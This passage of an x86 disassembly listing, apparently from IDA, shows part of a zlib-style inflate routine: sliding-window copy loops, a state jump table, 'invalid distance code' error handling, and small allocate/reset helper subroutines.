		mov	edx, [ebp+var_18]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_14]
		lea	eax, [edx+ecx*8]
		mov	ecx, [ebp+var_10]
		mov	[ecx+8], eax
		jmp	loc_42AEA4
; ---------------------------------------------------------------------------


loc_42A780:				; CODE XREF: sub_42A17E+5E0j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance	code"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42A7F5:				; CODE XREF: sub_42A17E+7Ej
					; DATA XREF: HLXc:0042AEBDo
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+8]
		mov	[ebp+var_20], edx


loc_42A7FE:				; CODE XREF: sub_42A17E+725j
		mov	eax, [ebp+var_24]
		cmp	eax, [ebp+var_20]
		jnb	loc_42A8A8
		cmp	[ebp+var_2C], 0
		jz	short loc_42A819
		mov	[ebp+arg_8], 0
		jmp	short loc_42A874
; ---------------------------------------------------------------------------


loc_42A819:				; CODE XREF: sub_42A17E+690j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42A874:				; CODE XREF: sub_42A17E+699j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_24]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_24]
		add	eax, 8
		mov	[ebp+var_24], eax
		jmp	loc_42A7FE
; ---------------------------------------------------------------------------


loc_42A8A8:				; CODE XREF: sub_42A17E+686j
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		and	edx, dword_433308[ecx*4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0Ch]
		add	ecx, edx
		mov	edx, [ebp+var_10]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 5


loc_42A8E0:				; CODE XREF: sub_42A17E+7Ej
					; DATA XREF: HLXc:0042AEC1o
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		sub	ecx, [eax+28h]
		mov	edx, [ebp+var_10]
		cmp	ecx, [edx+0Ch]
		jnb	short loc_42A90F
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		sub	ecx, [eax+28h]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		sub	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, eax
		mov	[ebp+var_3C], edx
		jmp	short loc_42A91B
; ---------------------------------------------------------------------------


loc_42A90F:				; CODE XREF: sub_42A17E+771j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_3C], ecx


loc_42A91B:				; CODE XREF: sub_42A17E+78Fj
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_1C], edx


loc_42A921:				; CODE XREF: sub_42A17E+96Bj
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+4], 0
		jz	loc_42AAEE
		cmp	[ebp+var_28], 0
		jnz	loc_42AA9A
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_42A988
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+28h]
		jz	short loc_42A988
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_42A976
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_40], edx
		jmp	short loc_42A982
; ---------------------------------------------------------------------------


loc_42A976:				; CODE XREF: sub_42A17E+7E5j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_40], ecx


loc_42A982:				; CODE XREF: sub_42A17E+7F6j
		mov	edx, [ebp+var_40]
		mov	[ebp+var_28], edx


loc_42A988:				; CODE XREF: sub_42A17E+7C3j
					; sub_42A17E+7D1j
		cmp	[ebp+var_28], 0
		jnz	loc_42AA9A
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42A9D7
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_44], ecx
		jmp	short loc_42A9E3
; ---------------------------------------------------------------------------


loc_42A9D7:				; CODE XREF: sub_42A17E+846j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_44], eax


loc_42A9E3:				; CODE XREF: sub_42A17E+857j
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+2Ch]
		jnz	short loc_42AA39
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+30h]
		cmp	eax, [edx+28h]
		jz	short loc_42AA39
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42AA27
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_48], eax
		jmp	short loc_42AA33
; ---------------------------------------------------------------------------


loc_42AA27:				; CODE XREF: sub_42A17E+896j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_48], edx


loc_42AA33:				; CODE XREF: sub_42A17E+8A7j
		mov	eax, [ebp+var_48]
		mov	[ebp+var_28], eax


loc_42AA39:				; CODE XREF: sub_42A17E+874j
					; sub_42A17E+882j
		cmp	[ebp+var_28], 0
		jnz	short loc_42AA9A
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42AA9A:				; CODE XREF: sub_42A17E+7B4j
					; sub_42A17E+80Ej ...
		mov	[ebp+arg_8], 0
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_1C]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_28]
		sub	eax, 1
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_42AADA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_1C], ecx


loc_42AADA:				; CODE XREF: sub_42A17E+951j
		mov	edx, [ebp+var_10]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+var_10]
		mov	[ecx+4], eax
		jmp	loc_42A921
; ---------------------------------------------------------------------------


loc_42AAEE:				; CODE XREF: sub_42A17E+7AAj
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 0
		jmp	loc_42AEA4
; ---------------------------------------------------------------------------


loc_42AAFC:				; CODE XREF: sub_42A17E+7Ej
					; DATA XREF: HLXc:0042AEC5o
		cmp	[ebp+var_28], 0
		jnz	loc_42AC68
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+2Ch]
		jnz	short loc_42AB56
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+30h]
		cmp	ecx, [eax+28h]
		jz	short loc_42AB56
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42AB44
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_4C], ecx
		jmp	short loc_42AB50
; ---------------------------------------------------------------------------


loc_42AB44:				; CODE XREF: sub_42A17E+9B3j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4C], eax


loc_42AB50:				; CODE XREF: sub_42A17E+9C4j
		mov	ecx, [ebp+var_4C]
		mov	[ebp+var_28], ecx


loc_42AB56:				; CODE XREF: sub_42A17E+991j
					; sub_42A17E+99Fj
		cmp	[ebp+var_28], 0
		jnz	loc_42AC68
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42ABA5
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_50], eax
		jmp	short loc_42ABB1
; ---------------------------------------------------------------------------


loc_42ABA5:				; CODE XREF: sub_42A17E+A14j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_50], edx


loc_42ABB1:				; CODE XREF: sub_42A17E+A25j
		mov	eax, [ebp+var_50]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_42AC07
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+28h]
		jz	short loc_42AC07
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_42ABF5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_54], edx
		jmp	short loc_42AC01
; ---------------------------------------------------------------------------


loc_42ABF5:				; CODE XREF: sub_42A17E+A64j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_54], ecx


loc_42AC01:				; CODE XREF: sub_42A17E+A75j
		mov	edx, [ebp+var_54]
		mov	[ebp+var_28], edx


loc_42AC07:				; CODE XREF: sub_42A17E+A42j
					; sub_42A17E+A50j
		cmp	[ebp+var_28], 0
		jnz	short loc_42AC68
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42AC68:				; CODE XREF: sub_42A17E+982j
					; sub_42A17E+9DCj ...
		mov	[ebp+arg_8], 0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	dl, [ecx+8]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_28]
		sub	ecx, 1
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 0
		jmp	loc_42AEA4
; ---------------------------------------------------------------------------


loc_42AC9A:				; CODE XREF: sub_42A17E+7Ej
					; DATA XREF: HLXc:0042AEC9o
		cmp	[ebp+var_24], 7
		jbe	short loc_42ACBB
		mov	eax, [ebp+var_24]
		sub	eax, 8
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_2C]
		add	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42ACBB:				; CODE XREF: sub_42A17E+B20j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42AD00
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_58], ecx
		jmp	short loc_42AD0C
; ---------------------------------------------------------------------------


loc_42AD00:				; CODE XREF: sub_42A17E+B6Fj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_58], eax


loc_42AD0C:				; CODE XREF: sub_42A17E+B80j
		mov	ecx, [ebp+var_58]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+30h]
		cmp	ecx, [eax+34h]
		jz	short loc_42AD7B
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42AD7B:				; CODE XREF: sub_42A17E+BA0j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 8


loc_42AD84:				; CODE XREF: sub_42A17E+7Ej
					; DATA XREF: HLXc:0042AECDo
		mov	[ebp+arg_8], 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42ADE6:				; CODE XREF: sub_42A17E+7Ej
					; DATA XREF: HLXc:0042AED1o
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		jmp	short loc_42AEA9
; ---------------------------------------------------------------------------


loc_42AE45:				; CODE XREF: sub_42A17E+75j
		mov	[ebp+arg_8], 0FFFFFFFEh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		jmp	short loc_42AEA9
; ---------------------------------------------------------------------------


loc_42AEA4:				; CODE XREF: sub_42A17E+186j
					; sub_42A17E+2BFj ...
		jmp	loc_42A1E7
; ---------------------------------------------------------------------------


loc_42AEA9:				; CODE XREF: sub_42A17E+228j
					; sub_42A17E+3A6j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42A17E	endp

; ---------------------------------------------------------------------------
off_42AEAD	dd offset loc_42A203	; DATA XREF: sub_42A17E+7Er
		dd offset loc_42A32C
		dd offset loc_42A529
		dd offset loc_42A62E
		dd offset loc_42A7F5
		dd offset loc_42A8E0
		dd offset loc_42AAFC
		dd offset loc_42AC9A
		dd offset loc_42AD84
		dd offset loc_42ADE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AED5	proc near		; CODE XREF: sub_42AEEE+4Ep
					; sub_42B09D+10BCp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		pop	ebp
		retn
sub_42AED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AEEE	proc near		; CODE XREF: sub_42AFA5+E9p
					; sub_42C405+Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jz	short loc_42AF02
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+3Ch]
		mov	[eax], edx


loc_42AF02:				; CODE XREF: sub_42AEEE+7j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 4
		jz	short loc_42AF12
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 5
		jnz	short loc_42AF29


loc_42AF12:				; CODE XREF: sub_42AEEE+1Aj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8


loc_42AF29:				; CODE XREF: sub_42AEEE+22j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 6
		jnz	short loc_42AF44
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_42AED5
		add	esp, 8


loc_42AF44:				; CODE XREF: sub_42AEEE+41j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+1Ch], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+20h], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[edx+34h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[edx+30h], ecx
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+38h], 0
		jz	short loc_42AFA3
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+38h]
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+3Ch], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		mov	[edx+30h], ecx


loc_42AFA3:				; CODE XREF: sub_42AEEE+92j
		pop	ebp
		retn
sub_42AEEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AFA5	proc near		; CODE XREF: sub_42DBE5+13Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	40h
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42AFCE
		mov	eax, [ebp+var_4]
		jmp	loc_42B099
; ---------------------------------------------------------------------------


loc_42AFCE:				; CODE XREF: sub_42AFA5+1Fj
		push	5A0h
		push	8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	ecx, [ebp+var_4]
		mov	[ecx+24h], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+24h], 0
		jnz	short loc_42B00F
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8
		xor	eax, eax
		jmp	loc_42B099
; ---------------------------------------------------------------------------


loc_42B00F:				; CODE XREF: sub_42AFA5+4Dj
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[edx+28h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+28h], 0
		jnz	short loc_42B063
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8
		xor	eax, eax
		jmp	short loc_42B099
; ---------------------------------------------------------------------------


loc_42B063:				; CODE XREF: sub_42AFA5+8Dj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+28h]
		add	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	[eax+2Ch], edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+38h], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		push	0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_42AEEE
		add	esp, 0Ch
		mov	eax, [ebp+var_4]


loc_42B099:				; CODE XREF: sub_42AFA5+24j
					; sub_42AFA5+65j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42AFA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B09D	proc near		; CODE XREF: sub_42DD65+3F3p

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
